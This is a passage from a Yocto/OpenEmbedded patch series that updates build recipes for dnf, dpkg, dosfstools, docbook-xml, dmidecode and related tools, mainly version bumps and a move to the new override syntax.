-Subject: [PATCH] Makefile.in: fix out-of-tree builds when the GNOME UI is
- enabled
-
-The install command doesn't use $(srcdir) so out-of-tree builds fail.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- Makefile.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index 123054f..b9ce974 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -1130,8 +1130,8 @@ install-example: $(example_DOCS)
- install-gnome-data: $(gnome_data)
- $(mkinstalldirs) "$(DESTDIR)$(icondir)"
- $(mkinstalldirs) "$(DESTDIR)$(desktopdir)"
-- $(INSTALL_DATA) gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-- $(INSTALL_DATA) gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-+ $(INSTALL_DATA) $(srcdir)/gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-+ $(INSTALL_DATA) $(srcdir)/gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-
- install-conf: $(conf_files) $(default_files)
- $(mkinstalldirs) "$(DESTDIR)$(sysconfdir)/distcc"
---
-2.20.1
diff --git a/meta/recipes-devtools/dmidecode/dmidecode_3.3.bb b/meta/recipes-devtools/dmidecode/dmidecode_3.3.bb
index 3fc2b20f22..2fe742b7dc 100644
--- a/meta/recipes-devtools/dmidecode/dmidecode_3.3.bb
+++ b/meta/recipes-devtools/dmidecode/dmidecode_3.3.bb
@@ -1,5 +1,6 @@
SUMMARY = "DMI (Desktop Management Interface) table related utilities"
HOMEPAGE = "http://www.nongnu.org/dmidecode/"
+DESCRIPTION = "Dmidecode reports information about your system's hardware as described in your system BIOS according to the SMBIOS/DMI standard (see a sample output)."
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
diff --git a/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index 0ed9afc58d..5cffc9dce1 100644
--- a/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -1,4 +1,4 @@
-From 6be13143a54c79085d400d5bd4c7a6e1cb6ffaf5 Mon Sep 17 00:00:00 2001
+From ceb1043c4f3de095e36908232320b74a4128a94e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:29:07 +0200
Subject: [PATCH] Do not set PYTHON_INSTALL_DIR by running python
@@ -11,15 +11,15 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 38cf4fbf..6c5debd8 100644
+index 9e2e9e9e..2056089d 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -19,7 +19,7 @@ ELSE ()
MESSAGE (FATAL_ERROR "Invalid PYTHON_DESIRED value: " ${PYTHON_DESIRED})
ENDIF()
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib())" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib())" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('purelib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('purelib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
ADD_SUBDIRECTORY (dnf)
diff --git a/meta/recipes-devtools/dnf/dnf_4.10.0.bb b/meta/recipes-devtools/dnf/dnf_4.10.0.bb
new file mode 100644
index 0000000000..cef2c03e4e
--- /dev/null
+++ b/meta/recipes-devtools/dnf/dnf_4.10.0.bb
@@ -0,0 +1,91 @@
+SUMMARY = "Package manager forked from Yum, using libsolv as a dependency resolver"
+DESCRIPTION = "Software package manager that installs, updates, and removes \
+packages on RPM-based Linux distributions. It automatically computes \
+dependencies and determines the actions required to install packages."
+HOMEPAGE = "https://github.com/rpm-software-management/dnf"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://PACKAGE-LICENSING;md5=4a0548e303dbc77f067335b4d688e745 \
+ "
+
+SRC_URI = "git://github.com/rpm-software-management/dnf.git;branch=master;protocol=https \
+ file://0001-Corretly-install-tmpfiles.d-configuration.patch \
+ file://0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch \
+ file://0005-Do-not-prepend-installroot-to-logdir.patch \
+ file://0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ file://0030-Run-python-scripts-using-env.patch \
+ file://0001-set-python-path-for-completion_helper.patch \
+ file://0001-dnf-write-the-log-lock-to-root.patch \
+ "
+
+SRCREV = "bd691b784f2158e633072d368579898d740e4347"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake gettext bash-completion distutils3-base systemd
+
+DEPENDS += "libdnf librepo libcomps python3-iniparse"
+
+# manpages generation requires http://www.sphinx-doc.org/
+EXTRA_OECMAKE = " -DWITH_MAN=0 -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += " \
+ python3-core \
+ python3-codecs \
+ python3-netclient \
+ python3-email \
+ python3-threading \
+ python3-distutils \
+ python3-logging \
+ python3-fcntl \
+ librepo \
+ python3-shell \
+ libcomps \
+ libdnf \
+ python3-sqlite3 \
+ python3-compression \
+ python3-rpm \
+ python3-iniparse \
+ python3-json \
+ python3-curses \
+ python3-misc \
+ python3-gpg \
+ "
+
+RDEPENDS:${PN}:class-native = ""
+
+RRECOMMENDS:${PN}:class-target += "gnupg"
+
+# Create a symlink called 'dnf' as 'make install' does not do it, but
+# .spec file in dnf source tree does (and then Fedora and dnf documentation
+# says that dnf binary is plain 'dnf').
+do_install:append() {
+ ln -rs ${D}/${bindir}/dnf-3 ${D}/${bindir}/dnf
+ ln -rs ${D}/${bindir}/dnf-automatic-3 ${D}/${bindir}/dnf-automatic
+}
+
+# Direct dnf-native to read rpm configuration from our sysroot, not the one it was compiled in
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/dnf \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/dnf \
+ RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+}
+
+SYSTEMD_SERVICE:${PN} = "dnf-makecache.service dnf-makecache.timer \
+ dnf-automatic.service dnf-automatic.timer \
+ dnf-automatic-download.service dnf-automatic-download.timer \
+ dnf-automatic-install.service dnf-automatic-install.timer \
+ dnf-automatic-notifyonly.service dnf-automatic-notifyonly.timer \
+"
+SYSTEMD_AUTO_ENABLE ?= "disable"
+
+PNBLACKLIST[dnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
diff --git a/meta/recipes-devtools/dnf/dnf_4.4.0.bb b/meta/recipes-devtools/dnf/dnf_4.4.0.bb
deleted file mode 100644
index dff6fe6c25..0000000000
--- a/meta/recipes-devtools/dnf/dnf_4.4.0.bb
+++ /dev/null
@@ -1,90 +0,0 @@
-SUMMARY = "Package manager forked from Yum, using libsolv as a dependency resolver"
-DESCRIPTION = "Software package manager that installs, updates, and removes \
-packages on RPM-based Linux distributions. It automatically computes \
-dependencies and determines the actions required to install packages."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://PACKAGE-LICENSING;md5=4a0548e303dbc77f067335b4d688e745 \
- "
-
-SRC_URI = "git://github.com/rpm-software-management/dnf.git \
- file://0001-Corretly-install-tmpfiles.d-configuration.patch \
- file://0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch \
- file://0005-Do-not-prepend-installroot-to-logdir.patch \
- file://0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- file://0030-Run-python-scripts-using-env.patch \
- file://0001-set-python-path-for-completion_helper.patch \
- file://0001-dnf-write-the-log-lock-to-root.patch \
- "
-
-SRCREV = "b9b7623892f551da201bffd03187d703242b00e9"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake gettext bash-completion distutils3-base systemd
-
-DEPENDS += "libdnf librepo libcomps python3-iniparse"
-
-# manpages generation requires http://www.sphinx-doc.org/
-EXTRA_OECMAKE = " -DWITH_MAN=0 -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS_${PN} += " \
- python3-core \
- python3-codecs \
- python3-netclient \
- python3-email \
- python3-threading \
- python3-distutils \
- python3-logging \
- python3-fcntl \
- librepo \
- python3-shell \
- libcomps \
- libdnf \
- python3-sqlite3 \
- python3-compression \
- python3-rpm \
- python3-iniparse \
- python3-json \
- python3-curses \
- python3-misc \
- python3-gpg \
- "
-
-RDEPENDS_${PN}_class-native = ""
-
-RRECOMMENDS_${PN}_class-target += "gnupg"
-
-# Create a symlink called 'dnf' as 'make install' does not do it, but
-# .spec file in dnf source tree does (and then Fedora and dnf documentation
-# says that dnf binary is plain 'dnf').
-do_install_append() {
- lnr ${D}/${bindir}/dnf-3 ${D}/${bindir}/dnf
- lnr ${D}/${bindir}/dnf-automatic-3 ${D}/${bindir}/dnf-automatic
-}
-
-# Direct dnf-native to read rpm configuration from our sysroot, not the one it was compiled in
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/dnf \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/dnf \
- RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
-}
-
-SYSTEMD_SERVICE_${PN} = "dnf-makecache.service dnf-makecache.timer \
- dnf-automatic.service dnf-automatic.timer \
- dnf-automatic-download.service dnf-automatic-download.timer \
- dnf-automatic-install.service dnf-automatic-install.timer \
- dnf-automatic-notifyonly.service dnf-automatic-notifyonly.timer \
-"
-SYSTEMD_AUTO_ENABLE ?= "disable"
-
-PNBLACKLIST[dnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
index 59703609ca..c1385631d7 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
+++ b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
@@ -2,7 +2,7 @@ docbook-xml: update catalog.xml
Refer Ubuntu 13.04 to update catalog.xml
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [docbook 4.x development has ceased, docbook 5 is entirely different]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
---
docbook-4.0/catalog.xml | 72 +++++++++++++++++++++++++++++++++++++++++++++++
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
index 6452c8d99f..2bec1442af 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
+++ b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
@@ -49,4 +49,4 @@ do_install () {
XMLCATALOGS = "${sysconfdir}/xml/docbook-xml.xml"
inherit xmlcatalog
-FILES_${PN} = "${datadir}/* ${sysconfdir}/xml/docbook-xml.xml"
+FILES:${PN} = "${datadir}/* ${sysconfdir}/xml/docbook-xml.xml"
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb b/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
index c5d3a24808..beda0abe95 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
+++ b/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
@@ -42,9 +42,9 @@ do_install () {
install -v -m644 README RELEASE-NOTES* NEWS* ${D}${docdir}/${BPN}
}
-RDEPENDS_${PN} += "perl"
-FILES_${PN} = "${datadir}/xml/* ${sysconfdir}/xml/docbook-xsl.xml"
-FILES_${PN}-doc = "${datadir}/doc/*"
+RDEPENDS:${PN} += "perl"
+FILES:${PN} = "${datadir}/xml/* ${sysconfdir}/xml/docbook-xsl.xml"
+FILES:${PN}-doc = "${datadir}/doc/*"
XMLCATALOGS = "${datadir}/xml/docbook/xsl-stylesheets-${PV}/catalog.xml"
diff --git a/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb b/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb
deleted file mode 100644
index 4bd4aef099..0000000000
--- a/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-# dosfstools OE build file
-# Copyright (C) 2004-2006, Advanced Micro Devices, Inc. All Rights Reserved
-# Copyright (C) 2015, Sören Brinkmann <soeren.brinkmann@gmail> All Rights Reserved
-# Released under the MIT license (see packages/COPYING)
-SUMMARY = "DOS FAT Filesystem Utilities"
-HOMEPAGE = "https://github.com/dosfstools/dosfstools"
-
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "https://github.com/dosfstools/dosfstools/releases/download/v${PV}/${BP}.tar.xz \
- "
-SRC_URI[md5sum] = "07a1050db1a898e9a2e03b0c4569c4bd"
-SRC_URI[sha256sum] = "e6b2aca70ccc3fe3687365009dd94a2e18e82b688ed4e260e04b7412471cc173"
-
-UPSTREAM_CHECK_URI = "https://github.com/dosfstools/dosfstools/releases"
-
-inherit autotools pkgconfig update-alternatives
-
-EXTRA_OECONF = "--without-udev --enable-compat-symlinks"
-
-CFLAGS += "-D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Add codepage437 to avoid error from `dosfsck -l`
-RRECOMMENDS_${PN}_append_libc-glibc = " glibc-gconv-ibm437"
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "mkfs.vfat"
-ALTERNATIVE_LINK_NAME[mkfs.vfat] = "${sbindir}/mkfs.vfat"
diff --git a/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb b/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb
new file mode 100644
index 0000000000..bdebfc190a
--- /dev/null
+++ b/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb
@@ -0,0 +1,28 @@
+# dosfstools OE build file
+# Copyright (C) 2004-2006, Advanced Micro Devices, Inc. All Rights Reserved
+# Copyright (C) 2015, Sören Brinkmann <soeren.brinkmann@gmail> All Rights Reserved
+# Released under the MIT license (see packages/COPYING)
+SUMMARY = "DOS FAT Filesystem Utilities"
+HOMEPAGE = "https://github.com/dosfstools/dosfstools"
+
+SECTION = "base"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "https://github.com/dosfstools/dosfstools/releases/download/v${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "64926eebf90092dca21b14259a5301b7b98e7b1943e8a201c7d726084809b527"
+
+UPSTREAM_CHECK_URI = "https://github.com/dosfstools/dosfstools/releases"
+
+inherit autotools gettext pkgconfig update-alternatives
+
+EXTRA_OECONF = "--enable-compat-symlinks --without-iconv"
+
+CFLAGS += "-D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
+
+BBCLASSEXTEND = "native nativesdk"
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "mkfs.vfat"
+ALTERNATIVE_LINK_NAME[mkfs.vfat] = "${sbindir}/mkfs.vfat"
diff --git a/meta/recipes-devtools/dpkg/dpkg.inc b/meta/recipes-devtools/dpkg/dpkg.inc
index 04fe85c4a8..00b1e9187a 100644
--- a/meta/recipes-devtools/dpkg/dpkg.inc
+++ b/meta/recipes-devtools/dpkg/dpkg.inc
@@ -1,20 +1,22 @@
SUMMARY = "Package maintenance system from Debian"
LICENSE = "GPLv2.0+"
+HOMEPAGE = "https://salsa.debian.org/dpkg-team/dpkg"
+DESCRIPTION = "The primary interface for the dpkg suite is the dselect program. A more low-level and less user-friendly interface is available in the form of the dpkg command."
SECTION = "base"
DEPENDS = "zlib bzip2 perl ncurses"
-DEPENDS_class-native = "bzip2-replacement-native zlib-native virtual/update-alternatives-native gettext-native perl-native"
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_update-alternatives} perl"
-RDEPENDS_${PN}_class-native = ""
+DEPENDS:class-native = "bzip2-replacement-native zlib-native virtual/update-alternatives-native gettext-native perl-native"
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_update-alternatives} perl"
+RDEPENDS:${PN}:class-native = ""
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
inherit autotools gettext perlnative pkgconfig perl-version update-alternatives
-PERL_class-native = "${STAGING_BINDIR_NATIVE}/perl-native/perl"
+PERL:class-native = "${STAGING_BINDIR_NATIVE}/perl-native/perl"
-export PERL_LIBDIR = "${libdir}/perl/${@get_perl_version(d)}"
-PERL_LIBDIR_class-native = "${libdir}/perl-native/perl/${@get_perl_version(d)}"
+export PERL_LIBDIR = "${libdir}/perl5/${@get_perl_version(d)}"
+PERL_LIBDIR:class-native = "${libdir}/perl-native/perl/${@get_perl_version(d)}"
EXTRA_OECONF = "\
--disable-dselect \
@@ -25,7 +27,8 @@ EXTRA_OECONF = "\
TAR=tar \
"
-EXTRA_OECONF_append_class-target = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
+EXTRA_OECONF:append:class-target = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
+EXTRA_OECONF:append:class-nativesdk = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
PACKAGECONFIG = "liblzma"
PACKAGECONFIG[liblzma] = "--with-liblzma,--without-liblzma, xz"
@@ -34,7 +37,7 @@ PACKAGECONFIG[liblzma] = "--with-liblzma,--without-liblzma, xz"
#autotools.bbclass default AUTOTOOLS_AUXDIR is ${S}, we need to under ${S}/build-aux
AUTOTOOLS_AUXDIR = "${S}/build-aux"
-do_configure_prepend () {
+do_configure:prepend () {
mkdir -p ${AUTOTOOLS_AUXDIR}
# autotools_do_configure updates po/Makefile.in.in, we also need
# update dselect/po and scripts/po
@@ -42,29 +45,32 @@ do_configure_prepend () {
cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/scripts/po/
}
-do_install_append () {
+do_install:append () {
if [ "${PN}" = "dpkg-native" ]; then
# update-alternatives doesn't have an offline mode
rm ${D}${bindir}/update-alternatives
- sed -i -e 's|^#!.*${bindir}/perl-native.*/perl|#!/usr/bin/env nativeperl|' ${D}${bindir}/dpkg-*
+ sed -i -e 's|^#!.*${STAGING_BINDIR_NATIVE}/perl-native.*/perl|#!/usr/bin/env nativeperl|' ${D}${bindir}/dpkg-* ${D}${sbindir}/dpkg-*
else
- sed -i -e 's|^#!.*${bindir}/perl-native.*/perl|#!/usr/bin/env perl|' ${D}${bindir}/dpkg-*
+ sed -i -e 's|^#!.*${STAGING_BINDIR_NATIVE}/perl-native.*/perl|#!/usr/bin/env perl|' ${D}${bindir}/dpkg-* ${D}${sbindir}/dpkg-*
fi
}
PROV = "virtual/update-alternatives"
-PROV_class-native = ""
+PROV:class-native = ""
+PROV:class-nativesdk = ""
PROVIDES += "${PROV}"
+FILES:${PN} += "${datadir}/zsh"
+
PACKAGES =+ "update-alternatives-dpkg"
-FILES_update-alternatives-dpkg = "${bindir}/update-alternatives ${localstatedir}/lib/dpkg/alternatives ${sysconfdir}/alternatives"
-RPROVIDES_update-alternatives-dpkg += "update-alternatives"
+FILES:update-alternatives-dpkg = "${bindir}/update-alternatives ${localstatedir}/lib/dpkg/alternatives ${sysconfdir}/alternatives"
+RPROVIDES:update-alternatives-dpkg += "update-alternatives"
PACKAGES += "${PN}-perl"
-FILES_${PN}-perl = "${libdir}/perl/${@get_perl_version(d)}"
+FILES:${PN}-perl = "${libdir}/perl5/${@get_perl_version(d)}"
-RDEPENDS_${PN}-perl += "perl-module-carp perl-module-constant \
+RDEPENDS:${PN}-perl += "perl-module-carp perl-module-constant \
perl-module-cwd perl-module-digest \
perl-module-digest-md5 perl-module-errno \
perl-module-exporter perl-module-fcntl \
@@ -88,12 +94,13 @@ RDEPENDS_${PN}-perl += "perl-module-carp perl-module-constant \
# the bitbake version.
#
PACKAGES =+ "${PN}-start-stop"
-FILES_${PN}-start-stop = "${sbindir}/start-stop-daemon.${BPN}"
-ALTERNATIVE_${PN}-start-stop = "start-stop-daemon"
+FILES:${PN}-start-stop = "${sbindir}/start-stop-daemon.${BPN}"
+ALTERNATIVE:${PN}-start-stop = "start-stop-daemon"
ALTERNATIVE_LINK_NAME[start-stop-daemon] = "${sbindir}/start-stop-daemon"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "${PN}-start-stop"
-
+EXTRA_RDPENDS = "ldconfig"
+EXTRA_RDPENDS:libc-musl = ""
+RDEPENDS:${PN} += "${PN}-start-stop ${EXTRA_RDPENDS}"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch b/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
index ffe520c513..4d3f238012 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
@@ -1,4 +1,4 @@
-From 15b081cc8bead80c493ab83369ecb3345a24a3dc Mon Sep 17 00:00:00 2001
+From cb47e9cd6735fcafd231748dab8884ae991b669c Mon Sep 17 00:00:00 2001
From: Paul Eggleton <paul.eggleton@linux.microsoft.com>
Date: Tue, 16 Jun 2020 03:57:25 +0000
Subject: [PATCH] build.c: ignore return of 1 from tar -cf
@@ -29,10 +29,10 @@ Signed-off-by: Paul Eggleton <paul.eggleton@microsoft.com>
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/dpkg-deb/build.c b/dpkg-deb/build.c
-index 8436839cd..6b44a36f7 100644
+index 76613adec..7c216d1a9 100644
--- a/dpkg-deb/build.c
+++ b/dpkg-deb/build.c
-@@ -434,6 +434,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+@@ -482,6 +482,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
{
int pipe_filenames[2], pipe_tarball[2];
pid_t pid_tar, pid_comp;
@@ -40,7 +40,7 @@ index 8436839cd..6b44a36f7 100644
/* Fork off a tar. We will feed it a list of filenames on stdin later. */
m_pipe(pipe_filenames);
-@@ -486,7 +487,9 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+@@ -534,7 +535,9 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
/* All done, clean up wait for tar and <compress> to finish their job. */
close(pipe_filenames[1]);
subproc_reap(pid_comp, _("<compress> from tar -cf"), 0);
@@ -50,4 +50,4 @@ index 8436839cd..6b44a36f7 100644
+ ohshite(_("subprocess %s returned error exit status %d"), "tar -cf", rc);
}
- static time_t
+ static intmax_t
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch b/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
index 50e6894406..d66ab4476a 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
@@ -3,7 +3,7 @@ From: sweeaun <swee.aun.khor@intel.com>
Date: Sun, 10 Sep 2017 00:14:15 -0700
Subject: [PATCH] dpkg: Support muslx32 build
-Upstream-Status: Pending.
+Upstream-Status: Pending
Changes made on ostable and tupletable to enable muslx32 build.
Signed-off-by: sweeaun <swee.aun.khor@intel.com>
diff --git a/meta/recipes-devtools/dpkg/dpkg_1.20.5.bb b/meta/recipes-devtools/dpkg/dpkg_1.20.5.bb
deleted file mode 100644
index d97b69c0b9..0000000000
--- a/meta/recipes-devtools/dpkg/dpkg_1.20.5.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require dpkg.inc
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "git://salsa.debian.org/dpkg-team/dpkg.git;protocol=https \
- file://noman.patch \
- file://remove-tar-no-timestamp.patch \
- file://arch_pm.patch \
- file://add_armeb_triplet_entry.patch \
- file://0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch \
- file://0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch \
- file://0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch \
- file://0006-add-musleabi-to-known-target-tripets.patch \
- file://0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch \
- file://0001-dpkg-Support-muslx32-build.patch \
- file://pager.patch \
- file://0001-Add-support-for-riscv32-CPU.patch \
- "
-
-SRC_URI_append_class-native = " file://0001-build.c-ignore-return-of-1-from-tar-cf.patch"
-
-SRCREV = "823a67d67538b1b403a32d1fef40e6e228265566"
-
-S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/dpkg/dpkg_1.21.1.bb b/meta/recipes-devtools/dpkg/dpkg_1.21.1.bb
new file mode 100644
index 0000000000..ccb4f06d32
--- /dev/null
+++ b/meta/recipes-devtools/dpkg/dpkg_1.21.1.bb
@@ -0,0 +1,23 @@
+require dpkg.inc
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "git://salsa.debian.org/dpkg-team/dpkg.git;protocol=https;branch=main \
+ file://noman.patch \
+ file://remove-tar-no-timestamp.patch \
+ file://arch_pm.patch \
+ file://add_armeb_triplet_entry.patch \
+ file://0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch \
+ file://0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch \
+ file://0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch \
+ file://0006-add-musleabi-to-known-target-tripets.patch \
+ file://0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch \
+ file://0001-dpkg-Support-muslx32-build.patch \
+ file://pager.patch \
+ file://0001-Add-support-for-riscv32-CPU.patch \
+ "
+
+SRC_URI:append:class-native = " file://0001-build.c-ignore-return-of-1-from-tar-cf.patch"
+
+SRCREV = "9b52f8fa74571049d868cb2af0643ee7f89a6151"
+
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb b/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
index 2c843a9342..1a05a1a387 100644
--- a/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
+++ b/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
@@ -1,17 +1,18 @@
SUMMARY = "A small utility for printing debug source file locations embedded in binaries"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://../dwarfsrcfiles.c;md5=31483894e453a77acbb67847565f1b5c;beginline=1;endline=8"
SRC_URI = "file://dwarfsrcfiles.c"
BBCLASSEXTEND = "native"
DEPENDS = "elfutils"
-DEPENDS_append_libc-musl = " argp-standalone"
+DEPENDS:append:libc-musl = " argp-standalone"
do_compile () {
${CC} ${CFLAGS} ${LDFLAGS} -o dwarfsrcfiles ../dwarfsrcfiles.c -lelf -ldw
}
-do_compile_libc-musl () {
